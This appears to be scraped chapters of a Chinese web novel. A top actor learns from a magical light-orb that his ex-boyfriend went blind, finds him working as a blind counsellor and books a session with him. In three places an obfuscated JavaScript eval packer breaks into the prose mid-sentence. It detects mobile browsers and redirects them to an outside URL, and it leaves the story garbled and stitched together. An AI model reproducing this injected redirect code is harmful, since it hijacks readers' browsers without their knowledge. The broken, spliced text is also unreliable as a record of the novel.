【2026年初,沪市某心理诊所发生了一起性质极其恶劣的恶性伤人事件。 行凶者张建华因女儿割腕自杀,将所有责任归咎于将其诊断为抑郁症的心理医生身上,继而产生了非常极端的报复心理。 在女儿不治身亡之后,他持刀闯入正在工作的心理诊所,意图让这些人付出代价。 众人惊慌失措,四散奔逃。 可就在他追砍当初接待她女儿的前台接待员时,居然有一个长相俊秀的盲人心理咨询师在听见声音以后站出来保护对方,他一怒之下用力挥刀,重重砍下,用这种方式来发泄自己内心的痛苦与不忿。 那位盲人心理咨询师身中数刀,被砍得血肉模糊,直到彻底失去心跳,都没有松开护着前台接待员女孩的手。 只不过这件事在最初并没有在互联网引起大范围的关注以及传播,直到那名被同事保护得安然无恙的女接待员忍不住在网上发了一条微博。 微博并没有长篇大论地斥责凶手,也没有撕心裂肺地表达悲伤,她只是原原本本讲述了这件事的始末,然后花了很长的笔墨来告诉大家,保护她那位盲人心理咨询师是一个多么多么善良,多么多么美好的人。 最后的最后,微博里说:我实在不知道该怎么偿还,也知道可能永远都无法偿还,但我真的很想为他做点什么。 她说,陶医生没有家人,除了他们这些同事之外也没有多少朋友,但他有一个非常非常喜欢的明星,喜欢到手机永远是他的壁纸,看的一直是他演的电视,就连平常耳机里会听的歌,都是他参加节目时唱过的live。 她鼓起勇气艾特了戚驰舟,说假如戚驰舟能看到这条微博,能不能记得陶医生的名字,记得他的故事,记得曾经有一个粉丝,哪怕眼睛从来都看不见,依然非常认真地喜欢了他很长很长时间。 谁都没想到这条微博发出以后,只用了四个小时,就直接被顶上热搜。 一个只有二十七个关注,转赞评不到一百的微博账号,居然在短短四个小时之内,获得了超百万的评论转发。 有看完这起恶性伤人事件感到无比痛心和悲愤的, 有控制不住眼泪在评论区狂骂凶手的。 有跟队形点蜡烛刷“陶医生一路走好”的。 还有很多很多帮忙艾特戚驰舟的。 说自己这里有很多戚驰舟的周边、签名,问女接待员能不能给个地址的。 众人协力,聚沙成塔,集腋成裘,硬生生将这条微博送出了圈,只为让这位见义勇为付出生命的盲人心理咨询师能获得最后一个圆满。 但事实上,因为团队有工作人员每天都在互联网即时进行相关舆情监控的原因,这件事传到戚驰舟耳朵里的速度,远比大家想象中要快许多。 “——驰哥!” 当时戚驰舟正在工作,文朔接到消息以后立刻跑过来叫了他的名字,因为喊声响亮而又突兀,在场所有人都朝文朔望去。 戚驰舟也闻声回头。 见文朔脸上的表情跟平时有着极其明显的不同,他微微皱了皱眉,还是偏头跟工作人员说了暂停,走过去问文朔什么情况。 “驰哥你快看!”文朔将手机递给戚驰舟:“公关部门的同事刚刚转发了一条微博过来,上面说你——” 已经连续对着大灯拍了近五个小时,戚驰舟眼睛发干发涩,只当是自己又多了什么乱七八糟的黑料,不太想看,干脆把手机推开,直接让文朔给他复述:“挑重点的说就行了。” 文朔也没勉强,用很快的语速三言两语将这条微博的内容概括一遍:“就是差点跟月姐谈恋爱那个陈医生的诊所,月姐的意思是让你亲自在这条微博下面回复一下,我们再配合捐......不是,驰哥你去哪儿?” 听完这件事情的经过以及原委,得知自己有个眼睛看不见的粉丝为了保护同事,死在恶意伤人的患者家属刀下,戚驰舟拧着眉头,几乎连想都没想,就决定亲自去送对方一程。 文朔显然没料到戚驰舟会做出这种决定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147180|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了下道:“那今天的拍摄该怎么办?” “改期。”戚驰舟头也不回地朝杂志社主编的方向走去,预备自己去和他说明情况,并承担改期所带来的一切损失,同时干脆利落地吩咐刚迎上来的乔昕去订机票。 “对了,能低调就尽量低调,跟伍月那边也说了一声,不要拿这件事来炒作。”在离开摄影棚时,戚驰舟皱着眉头又补了一句。 已经知道发生什么的乔昕立刻点头:“我知道,驰哥放心!” 文朔也忍不住“嗯”了一声,跟在戚驰舟身后对乔昕小声道:“要是知道驰哥要亲自送他一程,陶医生肯定会很高兴的。” 戚驰舟原本已经准备上车。 在从文朔口中听到“陶医生”这三个字时,脚步却蓦地顿了一下,条件反射般回过了头。 事实上,陶这个姓根本不算罕见。 那个为了救人而英勇牺牲的盲人医生,跟他藏在心里久久不能释怀的那个人也完全挂不上号。 可不知道是习惯成自然的原因,还是那天莫名其妙多了一丝预感的原因,戚驰舟听见自己问:“你刚才说什么?” “那个医生叫什么?” 文朔不明就里,跟乔昕对视一眼,然后望向戚驰舟道:“......陶医生啊,好像是叫陶与乐。” 当时戚驰舟脑子里“嗡”地一声。 ...... 后来,用最短时间从京市飞回沪市的戚驰舟终于知道,原来陶与乐当初要和他分手,从来都不是因为他想跟妈妈在一起生活,而是突然检查出眼底病变,而病情来势汹汹,恶化得猝不及防,视力没过多久就极速下降。 他知道自己将要变成一个瞎子,才狠心和他分手。 原来陶与乐一直都生活在离他很近很近的地方,只是因为各种各样的原因,他们不停在擦肩而过。 什么叫痛? 痛是他咬牙切齿,恨来恨去,最终恨成了一个笑话。 痛是他终于找到他了,听见的却是他的死讯,看见的却是他的尸体。 戚驰舟控制不住将拳头攥的嘎吱作响,喉间一片腥甜。 他还记得自己当初回国进入娱乐圈,之所以想站在最显眼,最明亮的聚光灯下,是因为想无孔不入地让陶与乐无论藏在哪里都能看到,也逼他看到。 可原来—— 原来他做的所有一切都是徒劳。 原来陶与乐早就看不到了。】 此时此刻,又重温了一遍原著的003再一次悲从中来,被虐到怀疑人生。 它实在不理解这个世上怎么会有如此狠心的缺德作者,简直是心狠手辣,简直是丧尽天良! 眼看着现如今一切都来得及,长着两个翅膀的金属光球发出呜呜的声音,拼命尝试想解开时空监察长下给它的禁言令。 然而,无论003怎么努力,始终没办法正常说话。 各种乱七八糟叽里咕噜的声音不绝于耳,戚驰舟原本就不多的耐心几乎已经告罄。 理智告诉他,他不应该再跟这个不知道从何而来,看起来智商不高的光球浪费时间,这样会显得他也非常愚蠢。 可看着003好像非常难过非常悲伤的表情,戚驰舟的腿就无论如何都迈不动了。 所以,面前这个光球在接触不良,发不出正常声音之前说了什么? ——呜呜呜,那是因为他当时突然看不见了! 还是那句话。 这个“他”是谁? 谁看不见了? 人的思维存在盲区,某些念头,因为从未朝那个方向去想,所以默认它不会发生。 可假如呢? 万一呢? 不知为何,戚驰舟在这一刻竟然想到了一个绝对不可能的人,也产生了一个极其荒谬的想法。 这个想法令他浑身的血液都有点发凉,连心脏都好像被一只冰冷的手给攥紧。 戚驰舟张了张口,意识到眼前这个长着翅膀又突然丧失正常语言能力的光球大概没办法给他任何答案。 然而就在他告诉自己不可能,怎么可能,绝不可能的时候,脑海中突然又想起今天晚上听过的另外一段对话。 “他们那个诊所还真有一个刚毕业的心理咨询师。” “是个盲人。” “笑起来特别好看。” ...... 戚驰舟心头重重一跳。 顾不上仍然漂浮在空中跟自己较劲的003号,他一边觉得自己疯了,一边像阵风似的朝外面走,同时拿出手机解锁,像寻求心理安慰一般,快速给伍月发去微信。 戚驰舟:你说长得好看的那个心理医生。 戚驰舟:他叫什么名字。 戚驰舟:照片发我。 4. 重逢 伍月到家的时间比戚驰舟晚了半个小时。 虽然已经接近十二点钟,但她换上拖鞋以后,还是把手机扔在沙发上,走到酒柜前去给自己开了瓶酒。 不为别的,实在是今天在车上提到的那段刚刚戛然而止的恋情,勾起了她一丁点儿尚未消弭的遗憾。 陈觉其实非常符合伍月对另一半的要求,无奈他们对未来的展望却截然不同,对方希望一家三口,幸福美满,而她却倾向丁克。 出现了这种分歧,谁让步都不公平,所以提前结束非常正常。 成年人都擅长及时止损。 更何况,她不仅拥有蒸蒸日上,值得倾注全部心血的事业,银行卡里还有很多很多的钱,实在没必要为了一段注定没结果的感情耿耿于怀。 于是,伍月站在外阳台上,姿态潇洒地冲对面的黄浦江举了举杯,决定喝完这杯酒,就彻底跟过去拜拜。 就在这个时候,她突然听见门铃的声音。 这么晚了,伍月先是被吓了一跳,然后第一反应想到的便是陈觉。 毕竟之前结束约会,不再深入接触的话是她先提的,也没有给对方挽留的机会,紧跟着就飞去剧组探班,半个月以来忙到脚不沾地。 可陈觉如果看到今天热搜,大概率就知道她已经陪着戚驰舟一起回来,那么...... 走到客厅的时候伍月还有些犹豫地想着一会儿见了面该说什么,然而把门打开的瞬间,看见站在门口的人,她瞪大眼睛,到了嘴边的话立刻转弯:“你......你怎么来了?!” 迟迟没有收到伍月回复,干脆直接下楼,一路驱车赶到这里的戚驰舟顿了一下:“刚才打电话你没接。” “什么事这么着急?”伍月转身让戚驰舟进来,同时走到沙发前去拿手机,看到屏幕上一连串的未接电话,哭笑不得道:“我天,你该不会是以为我出事了——” 只不过没等她把话说完,戚驰舟就已经强行打断她道:“你今天说的那个盲人心理咨询师。” “他叫什么名字?还有那张照片......我想看看。” “......”伍月怔了一下,整个人莫名其妙:“你给我打电话,就是为了这事啊?” 戚驰舟“嗯”了一声。 003那句话虽然没头没尾,后续引发的联想却来势汹汹,戚驰舟觉得自己身体里好像有一根弦在顷刻间绷到极致。 因此,他非常希望在伍月这里能狠狠扑一个空,好打消这种无端的,荒唐的,可笑的念头。 “他叫什么名字我不知道......一面之缘而已,”伍月不知道戚驰舟心里在想什么,还是纳闷:“倒是你,怎么突然对一个陌生人这么感兴趣了,你们认识?” “不认识。” 戚驰舟面无表情地胡说八道:“就是你们说的太夸张了,所以我想看看。” “......” 伍月突然想起去年有个姓陶的年轻爱豆,校草出身,因为铺天盖地的营销一夜蹿红,再加上那张脸在高P以后确实好看,被粉丝吹成神颜,第二天工作室好几个年轻女孩都在讨论这事。 戚驰舟当时的反应好像也特别大。 直到看过对方的照片以后才放松下来,然后又好像心里有个参照物似的,非常严格地评价:“——没到神颜的地步。” 这会儿,伍月忍不住冲他翻了一个白眼,心道这位祖宗是准备当什么颜值评委吗? 关键反射弧还这么长。 但是看在戚驰舟今天晚上这么关心她这个经纪人的份上,还是打开相册把之前拍的那张照片给翻出来,“喏,自己看......不过你这一路上没被狗仔跟吧?虽然你住的小区还算私密,也架不住那群狗仔一天到晚追在屁股后面不放。” 伍月是真怕过段时间哪个不做人的营销号为博眼球,再放出一条#顶流深夜出门,疑似夜生活丰富#的虚假新闻,想叮嘱戚驰舟哪怕过年休息的这段时间也要稍微注意一点。 结果她这话只说了一半,抬头看见戚驰舟的表情,倏地没了声音。 不为别的。 因为她发现戚驰舟在看见照片以后好像整个人都是一震。 那张平时总是高冷疏离,看不出多少情绪的脸上竟然明显地呈现出一刻空白。 这种空白硬生生持续了近两分钟。 直到伍月忍不住开口想问他什么情况,戚驰舟的喉结才蓦地滚了滚,重新望向伍月,用非常平静的声音问:“——你说他看不见了?” 这句话说的就很奇怪。 应该是“看不见”而不是“看不见了”。 但或许是戚驰舟的表情和语气都跟以往不同,伍月哪怕意识到不对,也没有在这个当口说任何多余的话,看着他有些迟疑地点了点头,“是啊。” “他看起来这么正常,怎么会是个瞎子?” “......” “我也不知道。”伍月脑海中不自觉回忆起自己当初看到这个心理咨询师的情形,因为对方的长相和他手中的盲杖都过于醒目,她忍不住多看了两眼,在上车后也问了陈觉,陈觉告诉她:“那是我们所的心理咨询师,刚转正没多久,大家都喜欢他......据说当初是视网膜出了问题,所以从外观上看不出来。” 伍月当即就觉得非常可惜,陈觉也点了点头,说是啊,不仅如此,后天残疾带来的冲击与痛苦远比先天更大,也不知道他这一路是怎么熬过来的。 视网膜出了问题。 后天眼盲。 听完这些话的戚驰舟再一次点了点头,在静了半晌之后转身就走。 走到一半很快又掉头回来,重新把伍月的手机给拿过来,将顶端碰到一起,选择隔空投送,把那张其实有点虚焦,还只有半张侧脸的照片发到自己手机。 补了句“我先走了,你少喝点酒,早点休息”然后离开。 “哎戚——” 伍月看着他像一阵风似的来,又像一阵风似的走,不由得皱起眉头,有那么一个瞬间,想打电话给陈觉,深入打探一下这个盲人心理咨询师的过去,但拿起手机最终还是锁屏。 而另外一边,戚驰舟下楼,扣上安全带发动汽车,随着一脚油门踩下,黑色大型SUV顺着弯道驶出,很快就从地下车库转入主路。 凌晨这个时间段,马路上的车流其实不算很多。 他只需要像来的时候一样原路返回,就可以在最短的时间之内到家。 可戚驰舟握着方向盘的指骨泛白,在某个瞬间忽然有些无法呼吸,一共只开了五百米不到,就在下一个路口靠边停下。 短暂地闭了一下眼睛,又没什么表情地睁开。 戚驰舟望向一直跟在他身边,其他人却好像根本看不到的003号,问:“陶与乐是什么时候开始看不见的?” 没想到它什么忙都还没有帮上,戚驰舟就已经靠自己找到了陶与乐的下落,003嗖地一下飞到他面前,一边用翅膀抹掉眼泪一边呜呜呜道:“当然是跟你分手的时候,那时候他就已经知道自己快看不见了......监察长给我下了禁言令,幸亏宿主你很聪明......” 根本不知道这个光球叽里咕噜在说些什么,戚驰舟扯了扯嘴角,也不知道是在问它还是在问自己:“他当初跟我分手,是因为这件事吗?” 所以好端端在家都会摔跤,磕到鼻青脸肿,还跟他说是因为走神没有看路。 所以那段时间打视频时,陶与乐的目光总是如饥似渴地停留在他脸上,而他却还在心里暗爽,端着架子故意问对方:陶与乐,你就这么喜欢我啊? 所以当他们在电话里不欢而散之后,哪怕戚驰舟用了最快的速度回国,那个曾经那么喜欢他,那么舍不得他的陶与乐还是连夜搬走,并且将他社交软件全部拉黑,连句话都没留,消失得无影无踪。 ...... 六年前发生的一切在戚驰舟脑海中重新浮现,他忽然发现,有很多细节,如果代入陶与乐看不见了这个前提,居然是比他想跟妈妈在一起生活所以躲着他更合理的。 ——陶与乐看不见了。 结合今天突然浮出水面这些科学的,不科学的线索,戚驰舟在这一刻终于意识到六年前他极有可能因为粗心、迟钝和愚蠢,错过了非常非常重要的事。 要真是他想的这样。 要真是这样..... “宿主,你千万不要这样想啊!”敏锐察觉到戚驰舟状态不对的003连忙开口:“当时你们离那么远,他又无论如何都不想让你知道......当初大家各有难处,现在这个情况谁都不想,也都谁不怪呜呜呜。” 戚驰舟闭了闭眼。 他只花了一分钟时间,强行让自己冷静下来。 毫无疑问,陶与乐在他不知道的时候变成了一个瞎子,这件事令戚驰舟感到难以言喻的茫然与刺痛。 他甚至到这一刻都难以置信,连带着一颗心像被捅个对穿。 戚驰舟不知道这一切究竟怎么回事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戚驰舟问:“你觉得我身心健康?” 文朔:“主要是......” 戚驰舟看他一眼,冷淡且强硬地道:“我说需要就需要。” “今天这件事办好了,这个月五倍工资,从我私人账户里出,就当是给你多出来的年终奖。” 戚驰舟对大家向来都很大方,更何况这也不是钱不钱的事,文朔还想再说点什么,却发现戚驰舟突然越过他往前走了一步,然后整个人定在原地。 他下意识顺着戚驰舟看的方向望去,先是觉得眼熟,然后脱口而出道:“这不是伍月姐昨天给我们看的那个心理咨询师吗?他本人好像比照片还好看啊……不对,那这岂不是陈医生工作的地方?” 戚驰舟听见了文朔的话。 但此时此刻,他全部的注意力都放在皮肤素白,头发乌黑,穿着卡其色风衣,手持盲杖一步步朝不远处那栋三层小楼走去的人影身上。 要知道这是一条临街的路,路面算不上特别平坦,人行道上有些地砖微微隆起,有些地砖微微凹陷,正中间盲道的铺设更加不算连续,时不时被会门口的坡道或公交站台打断。 可这个人走得很稳。 哪怕速度很慢,动作有些谨慎,只依靠一根盲杖,依然能准确地避开障碍。 偶尔有路过的人回头看他,目光停留在他用杖尖点地的动作和那双没有焦点的眼睛上面,等看完以后,再扭头低声跟身边的人说几句话,不知道究竟是好奇还是可惜。 戚驰舟也紧紧盯着那人,盯着那张他已经六年没有见过,好像变了很多,却好像什么都没变的脸,心脏在这一刻传来极其清晰的,明显的钝痛,夹杂着另外一种说不清道不明的情绪,绵延不绝。 戴着帽子口罩,看不清戚驰舟的表情,但察觉到他的状态明显不对,文朔叫了一声驰哥:“你怎么了?这个心理咨询师……你们认识?” 直到陶与乐稳稳当当走进心理咨询中心,消失不见,戚驰舟才终于将那种恨不得想吃人的视线收回。 他“嗯”了一声告诉文朔:“我前男友。” “前——”文朔差点被突然吹过来的一阵冷风呛死,紧跟着又听见戚驰舟说: “去干活吧,就约他的时间,我今天就要看上。” 5. 咨询 对于陶与乐来说,今天跟平常并没有太大区别。 他早上七点起床,正常洗漱,换好衣服,盛起提前用电饭煲定时煮好的粥,再重新刷牙,带齐东西,拿好盲杖出门。 这几天气温略有回暖,风吹在脸上不再像刀子一样,陶与乐很喜欢像现在这样的冬天。 一路上他没有遇到太多障碍物,也没有发生任何摔倒或者磕碰,非常顺利地在九点钟上班之前,抵达了他工作的心理咨询中心。 当感应的玻璃门朝两侧自动打开,坐在前台的接待员嘉禾立刻向他打招呼,非常热情道:“陶医生早上好啊。” 陶与乐也弯了弯眼睛,朝着声音传来的方向点头:“早上好。” “加上之前已经确定的,今天你一共有六个预约哦,上午两个,下午四个,”哪怕知道陶与乐什么都看不见,嘉禾还是忍不住冲他眨了眨眼:“时间都排满啦!” “这么多?”陶与乐难得有些吃惊。 “对啊,吴医生和陈医生他们前段时间不是去大学里面搞讲座吗,不知道是谁把视频发网上了,咱们官方账号涨了好多关注,所以最近每天过来咨询的人可多了,排都排不过来呢。” 不过嘉禾没说的是,作为前台接待人员,通过电话或线上接到咨询,了解完初步情况,确认对方对咨询师没有特殊要求和偏好以后,她给这些人推荐最多的,全部的都是陶与乐。 不为别的,一直以来,因为眼睛看不见的缘故,有很多人在一开始都会对陶与乐的专业能力持有怀疑态度,愿意信任他的人并不算多。 可嘉禾看在眼里,她知道陶与乐有多么努力,多么尽责。 哪怕来访者并不算多,但根据后期的问卷以及回访来看,只要是选了陶与乐的,就没有对他不满意的。 因此,嘉禾出于某些私心,想让陶与乐越来越好。 但就算她没有说,陶与乐也大概能感受到这份善意。 无非是希望他能少坐点冷板凳,希望有越来越多的人信任他,选择他。 坦白讲,陶与乐自己其实并不心急,毕竟他才刚刚转正没有多久,再加上残疾人的身份,大部分人有所顾虑实在是人之常情。 不过心里这样想着,他还是“望”向前台所在的方向,对嘉禾说:“那要不庆祝一下,下午我请大家喝下午茶?” “真的?那我要点——” 嘉禾的话还没有说完,自动感应的玻璃门就再次打开,看到一对夫妻从外面进来,她立刻转换话头,礼貌冲对方道:“您好,请问是预约了心理咨询的吗?” “是,前天约的,今天上午九点半。”女人率先开口替丈夫回答,嘉禾点了点头,在核对完姓名和手机号以后立刻望向陶与乐说:“陶医生,是你的客户。” “资料昨天已经发过去了,那我现在先帮他们登记填表,一会儿带到你办公室去?” 陶与乐望着空气点了点头,拿起盲杖准备离开,然而脸色原本就不太好看,一直没有说话的男人看见他的动作,终于忍不住道:“等会儿,怎么是个瞎子?” 这话一出,嘉禾的表情瞬间僵在脸上,然后第一时间望向陶与乐,有些担心。 “别乱说话!”同行的女人一把按住丈夫抬起的手,低声道:“什么瞎子,你有没有一点礼貌?人家是有正经从业资格证的专业心理咨询师!” “看不见不就是个瞎子?” 男人这一趟来的本就不情不愿,此刻那种质疑与不满的情绪更是到达顶峰,他冲着妻子直接道:“我发现你是不是疯了?” “我都说了我没病我没病,你非要让我来看什么心理医生,花那么多钱也就算了,结果找的人是个瞎子?你知不知道现在赚钱有多不容——” “我知道!”女人忍不住打断他道:“可你连续几个月凌晨四五点起来抽烟也是正常?对女儿发脾气直接把平板电脑摔了也是正常?我都已经跟你解释过很多次了,不是来看心理医生的都是病人,但你现在这个状态是真的很不健康。” “来都来了,咱们就跟心理医生好好聊聊,不行吗?” “一个小时三百块钱,”男人说:“找一个眼睛看不见的人聊?” 见这两人争执不下,站在前台的嘉禾也很尴尬,一时间不知道该如何是好:“那......” “那什么那?今天就不该请假跑这一趟!就算我真有什么焦虑症,也不可能把钱浪费在一个瞎子身上。” 说完,男人转身就走,女人只来得及说出一个“你”字,就看到他的背影消失在自己眼前,不得不甩下一句“抱歉”,然后红着眼睛急匆匆追了出去。 于是,前台很快就只剩下嘉禾和陶与乐两个。 在一片令人窒息的寂静当中,她忍不住望向陶与乐,低声道:“陶医生对不起啊。” “你的情况我之前真的在电话里跟他老婆说过,是她说了没问题我才在系统里安排时间的,我没想到......” “没关系。”陶与乐笑了笑,语气跟平时没有任何区别:“后面不是还有五个人吗,他不看——” “他不看我们看!” “空出来的档期能不能现场预约?” 没等陶与乐把话说完,一道声音突然插了进来,陶与乐愣了一下,下意识往声音传来的方向“望”去,嘉禾也抬起眼睛。 而刚刚从外面听到两夫妻吵架,后悔自己来迟一步的戚驰舟站在门口,隔着两米的距离,跟陶与乐隔空对视。 他看见陶与乐微微睁大的眼睛,看见他没有焦点的瞳仁,看见他根根分明的睫毛在脸上落下一小片扇形阴影,看见他在岁月的打磨下,褪去戚驰舟熟悉的很多痕迹,变成一个安静的,温和的,看起来成熟体面的人。 戚驰舟说不清这一刻自己究竟是什么心情。 幸好陶与乐现在什么都看不见,他的目光能毫不掩饰,直勾勾地落在他的脸上。 嘉禾完全没注意到这点,只觉得这个戴着帽子口罩,完全看不清脸的男人个子好高,气质也很特殊,还有点说不清道不明的眼熟,不知道在哪里见过。 但她怕不礼貌就没好意思多看,收回目光以后连忙望向刚刚开口的文朔:“您、您好,您刚才是说要预约我们这边的心理咨询吗?” “嗯,没错。” 文朔咳了一声,严格按照戚驰舟交代他的话道:“是这样的,因为在网上看到陶医生的口碑很好,所以特地慕名而来,要是他有空余的档期,能不能现场预约?” “当然可以!”嘉禾瞬间来了精神,“那我现在就帮您登记!” “陶医生,就约九点半的时间,你看行吗?” “好。”陶与乐笑着点了点头。 事实上,他并不相信“慕名而来”的这种说辞,但猜测这位声音年轻的来访者大概是看见了刚才发生的那场闹剧,特意替自己解围来的,不由得升起一丝难以言喻的感激。 “那你先去办公室,”嘉禾积极道:“一会儿这边登记完了,我马上把人给你带过去。” 陶与乐“嗯”了一声。 只不过在转身离开时,不自觉朝空气中某个方向看了一眼,总觉得似乎有道存在感极强的视线正落在他的身上,沉甸甸的。 当那双没有焦点的眼睛看来,他们再次对视,戚驰舟深吸口气,有那么一个瞬间,真的很想直接叫出陶与乐的名字,看看他脸上会出现什么表情。 ——所幸,一共就只有一秒。 陶与乐离开以后,文朔忍不住回头,悄悄瞥了一眼自己全副武装,状态跟平时截然不同的老板,内心无比纠结。 直到对上戚驰舟顷刻间又切换回平静冷淡的眼神,才立刻回过神来,压低声音对准备给他们倒水的嘉禾说:“那什么,我们这边还有个特殊情况......” * 十五分钟以后,拿着几张A4纸的嘉禾敲开了陶与乐办公室的门,陶与乐应声抬头,“资料都填好了?” “填好了,就是......”嘉禾犹豫了一下:“来访者说自己心理上没有什么问题,只是最近发生了一件他从未想过的事,导致心情极差,难以排解,再加上生病喉咙发炎,不太愿意说话,让我问问能不能用文字的形式来跟你沟通。” “不太愿意说话?” “是的,”嘉禾想了想,有些夸张地补充道:“而且他们刚才直接付了十倍的咨询费,把我都吓了一大跳呢,真是财大气粗。” 十倍咨询费? 陶与乐先是愣了一下,然后不自觉皱起眉头。 要知道他现在一个小时的咨询费是三百块钱,在市面上属于比较合理的入门费用,可就算基础价格不高,乘以十也直接成了天价。 目前有哪个心理咨询师敢收这个价格?恐怕只有那些全国知名的顶尖专家或者行业泰斗才能有这种资格。 眼看陶与乐的表情不对,嘉禾连忙打断他道:“陶医生你可千万别拒绝啊!他们说了,主要是因为提出来的条件比较苛刻,所以今天不论找哪个心理医生,咨询费全部都是十倍。” “......” 不愿意说话,想要以文字的形式沟通,这个条件很苛刻吗? 对于普通人来说或许是有些奇怪,但在心理医生看来,其实并不算特别罕见的事,陶与乐就曾经碰见过类似案例。 当时有个十几岁的女孩,被父母带着来看心理医生,却无论如何都不肯开口,什么话都不愿说。 为了引导她,陶与乐先是主动说出了自己的眼睛问题,告诉她,他什么都看不见,所以在他面前不用紧张,她很安全。 然后引导她如果不想说话的话,可以通过手机打字来和他交流,就像在线上跟网友聊天一样,最后,那女孩果然产生了些许动摇,不再抗拒和他沟通。 只不过,陶与乐忽然想到什么,“望”向嘉禾所在的方向,轻声问:“你意思是,刚刚在前台的,不止一个人吗?” “嗯嗯,”嘉禾说:“之前说话的是一个人,真正预约咨询的是另一个人。” 虽然完全没看清戚驰舟到底长什么样,她还是凭自己的直觉补了一句:“一个超级大帅哥哦!” 陶与乐忍不住笑了一声。 他并不关心什么超级大帅哥,只是对那十倍的心理咨询费受之有愧。 听嘉禾简单介绍完填好的症状自评表和基础生活问卷以后,陶与乐点了点头,示意她可以把人带过来了:“那一会儿就直接用蓝牙连接我的盲文点显器吧,只是这个阅读的速度会有些慢,看来访者介不介意。” “陶医生放心,这些事我已经提前沟通过了,他们说没问题。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147182|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陶与乐点了点头。 很快,嘉禾退出去没有多久,他便再次听见门“咔嗒”被打开的声音,一个人从外面走进来,紧跟着带来一阵散发着冬日凉意与古龙水香气的风。 “是文先生吗,您好。”陶与乐冲着声音传来的方向说:“坐在我对面的沙发上面就好。” 直接用文朔名字登记的戚驰舟没有说话,也没立刻坐下,反倒是率先环顾四周,望向这间心理咨询室的环境。 早在他来之前就已经上网搜过,这家心理咨询中心规模很大,专家很多,硬件软件在沪市都首屈一指。 也正是因为如此,像陶与乐这样刚入行的新人,也能拥有一间专属于自己的,宽敞明亮的独立咨询空间。 只是戚驰舟不知道,一个正常人突然失明变成瞎子,要咽下多少苦头,付出多大努力,才能看起来轻描淡写地走到今天。 微不可察地深吸口气。 就在戚驰舟准备收回视线的时候,余光却忽然注意到不远处办公桌上放着的某样东西,脚步蓦地一顿,整个人定在原地。 陶与乐不知道发生了什么,见迟迟没有回应,试探性叫他:“文先生?” 戚驰舟骤然回神。 喉结滚了两下,一时间不知道是该笑还是别的什么,然后在顷刻间恢复成与平常无异的样子,面无表情走到陶与乐的面前,在那个米白色沙发上面坐下,将帽子口罩摘下放到一边,正面望向他的眼睛。 听见沙发一沉,还有衣物摩擦发出的细碎声音,陶与乐露出一个很温和的笑容,冲着戚驰舟道:“我听接待员说,您来看心理咨询是因为近期发生了一件意想不到的事,让您觉得很难接受对吗?” 已经用手机蓝牙连接陶与乐手中那台盲文点显器的戚驰舟将两条腿随意岔开坐着,在屏幕上打了个“嗯”。 陶与乐这边即刻刷新出对应的盲文符号,在确认他说了什么之后,继续问:“也是这件事让您觉得呼吸困难,胃部疼痛的吗?” 戚驰舟盯着他的脸看了一会儿,再次动动手指打字:“嗯,还包括掌心发麻,神经紧绷,甚至控制不住想发脾气,但又不知道这个脾气到底该冲着谁去。” “方便问一下具体发生了什么事吗,”陶与乐说:“如果您愿意和我分享的话。” “......” 戚驰舟静了片刻,继续在手机上面输入:“在敞开心扉之前,是不是应该先建立信任?” “当然,”陶与乐点了点头:“不想先聊这个的话,我们可以说点别的。” 单方面跟陶与乐对视良久,无数种说不清道不明的情绪全部挤在心脏,戚驰舟靠在沙发上按手机:“其实我也不知道该说些什么。” “这是我第一次来做咨询,刚才外面那个是我助理。” “他觉得我好像完全不需要这个,但其实这些年来,我觉得很多事情都没有意思。” “获得的越多,这种感觉就越明显。” “不论是开心,惊喜,生气,满足,失落......全部都差点东西。” 触摸着指尖不断变化的盲文符号,陶与乐像之前一样,习惯性在脑海中勾勒这个来访者的画像。 大概率年轻英俊,家境优渥,事业有成。 但内心似乎有个填不满的空洞,成因未明。 然而还没等他完全梳理清楚,点显器上的字符再度发生变化,刚刚还在向他剖白自己的戚驰舟话锋一转,问他:“陶医生呢。” “我听前台的接待员说你是后天眼盲。” 戚驰舟字打得不快,像是刻意在配合盲文点显器的字符变化速度:“为什么会突然丧失视力?后天失去视力是一种什么感受?眼盲这些年,会不会过得很不容易?” 陶与乐触摸盲文的动作一顿,下意识抬眸,“望”向坐在他对面的人,冬日上午的阳光透过窗户,照在他半边侧脸上,衬得皮肤有种近乎透明的白。 当然,陶与乐并不知道这点。 他只是蓦地产生了一种说不清道不明的感觉。 不是被冒犯,也不是被唐突—— 事实上,这当然不是第一次有人在咨询过程中表达出对陶与乐眼睛的好奇。 但或许是因为今天坐在他对面的人全程都没有发声,无法判断语气,导致冷不丁听见这些,陶与乐竟然莫名怔了一下,忘记了接下来该如何反应。 他并没有向陌生人袒露自我的习惯。 但是对于一个专业的心理咨询师而言,适当的交换信息,有助于建立他与来访者之间的信任。 于是,在反应过来之后,陶与乐很轻地笑了一下,冲着空气说:“当初我的视网膜突然发生病变,视力急速下降,不到三个月就彻底变成了一个瞎子。” “不过还好,人的适应能力是很强的,接受以后就重新调整,慢慢地也就不觉得有什么了。” 